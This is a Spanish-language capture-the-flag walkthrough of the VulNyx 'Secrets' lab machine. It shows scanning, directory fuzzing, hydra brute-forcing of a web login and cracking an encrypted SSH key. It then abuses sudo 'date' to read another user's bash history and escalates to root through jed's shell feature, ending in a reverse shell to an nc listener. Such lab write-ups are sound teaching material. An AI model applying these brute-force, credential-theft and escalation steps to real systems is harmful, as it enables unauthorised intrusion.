VulNyx - Secrets

logo

  • Cracking Private RSA Key
  • Leakage Credentials Information
  • Abuse Jed Binary

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.129

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.129

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6b36d8beac2439bfbaa9a717e15e00f2 (RSA)
|   256 1d20e44ba4e70871ebd341e1ee941c61 (ECDSA)
|_  256 e3936fb30ba3c30ef70d4cb6db3ced90 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 80 veo el siguiente mensaje:

http

Al ver el código fuente de la página enumero un posible usuario.

brad

Con wfuzz encuentro el directorio secrets.

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.129/FUZZ' --hc=404 --hl=68
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.129/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================

000007923:   301        9 L      28 W       316 Ch      "secrets" 

Si me voy al directorio secrets leo el siguiente mensaje:

secrets

Dentro del directorio secrets realizo una búsqueda de extensiones en php y txt.

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.129/secrets/FUZZ.FUZ2Z' -z list,php-txt --hc=404 --hl=1,9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.129/secrets/FUZZ.FUZ2Z
Total requests: 441120

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                          
=====================================================================

000006741:   200        12 L     32 W       429 Ch      "login_form - php" 

En login_form.php encuentro un formulario para iniciar sesión.

loginform

Con burpsuite intercepto la petición de login.

POST /secrets/MK67IT044XYGGIIWLGS9.php HTTP/1.1
Host: 192.168.1.129
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.129
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.129/secrets/login_form.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Connection: close

user=brad&password=1234

Introduzco los datos obtenidos con burpsuite a hydra y encuentro la contraseña de brad.

❯ hydra -V -t 50 -l brad -P /usr/share/wordlists/rockyou.txt 192.168.1.129 http-form-post "/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials" -f -I

[80][http-post-form] host: 192.168.1.129   login: brad   password: b*****y

Me logueo como usuario brand y me sale el siguiente mensaje:

ipsecret

Al realizar una consulta me contesta que sólo acepta números.

onlynumbersip

Para pasar de dirección IP a decimal he usado este sencillo script.

#!/bin/bash

ip_to_decimal() {
  IFS='.' read -r -a octetos <<< "$1"
  decimal=0
  for ((i=0; i<4; i++)); do
    octeto=${octetos[i]}
    decimal=$((decimal*256 + octeto))
  done
  echo "$decimal"
}

read -p "Ingresa la dirección IP: " ipv4
decimal=$(ip_to_decimal "$ipv4")
echo "La IP $ipv4 en formato decimal es: $decimal"

Uso el script para pasar de dirección IP a decimal ip2dec.sh.

❯ ./ip2dec.sh
Ingresa la dirección IP: 192.168.1.1
La IP 192.168.1.1 en formato decimal es: 3232235777

Introduzco la dirección IP en formato decimal y me muestra lo siguiente.

ipnumberok

Uso de nuevo ip2dec.sh para mandar una consulta a mi equipo y capturar el tráfico con tshark para saber que es lo que está pasando.

❯ ./ip2dec.sh
Ingresa la dirección IP: 192.168.1.18
La IP 192.168.1.18 en formato decimal es: 3232235794

Pongo mi dirección IP en formato decimal.

myipnumberok

Dejo tshark a la escucha filtrando por color y con la dirección ip de la máquina objetivo para tener una salida más clara y veo que manda datos usando el puerto 6666.

tsharkB

Sabiendo esto dejo un netcat a la escucha por el puerto 6666 vuelvo a mandar la consulta y recibo una llave rsa.

id_rsa

Como se puede observar esta llave rsa está encriptada así que uso la herramienta RSACrack para encontrar el passphrase.

❯ ./RSAcrack.sh -w /usr/share/wordlists/rockyou.txt -k id_rsa

╭━━━┳━━━┳━━━╮          ╭╮  
┃╭━╮┃╭━╮┃╭━╮┃          ┃┃  
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
-=========================-
[*] Cracking: id_rsa
[*] Wordlist: /usr/share/wordlists/rockyou.txt
[i] Status:
    3***/14344392/0%/s******y                                       
[+] Password: s******y Line: 3***

Me conecto al sistema usando la llave rsa.

❯ ssh -i id_rsa brad@192.168.1.129
Enter passphrase for key 'id_rsa': 
Linux secrets 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
brad@secrets:~$

Enumero permisos de sudo y veo que tengo que pivotar al usuario fabian.

brad@secrets:~$ sudo -l
Matching Defaults entries for brad on secrets:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User brad may run the following commands on secrets:
    (fabian) NOPASSWD: /usr/bin/date

Para pivotar de usuario he usado este recurso de gtfobins. Encuentro las credenciales en el history del usuario fabian.

brad@secrets:~$ LFILE=/home/fabian/.bash_history
brad@secrets:~$ sudo -u fabian date -f $LFILE
date: fecha inválida «passwd fabian»
date: fecha inválida «s*****$$$****$$$»

Me logueo como fabian.

brad@secrets:~$ su fabian
Contraseña: 
fabian@secrets:/home/brad$ cd
fabian@secrets:~$ id
uid=1001(fabian) gid=1001(fabian) grupos=1001(fabian)

Enumero permisos de sudo.

fabian@secrets:~$ sudo -l
Matching Defaults entries for fabian on secrets:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fabian may run the following commands on secrets:
    (root) NOPASSWD: /usr/bin/jed

Lanzo el programa para ver de que se trata.

fabian@secrets:~$ sudo jed

Para moverme entre las pestañas pulso F10, con las flechas me voy a la pestaña system y luego selecciono Shell Command.

menujed

Al pulsar enter puedo escribir comandos.

rootnc

Obtengo el root.

❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.129] 55212
script /dev/null -c bash
Script iniciado; el fichero es /dev/null
root@secrets:/home/fabian# id
id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Secrets.

Saludos!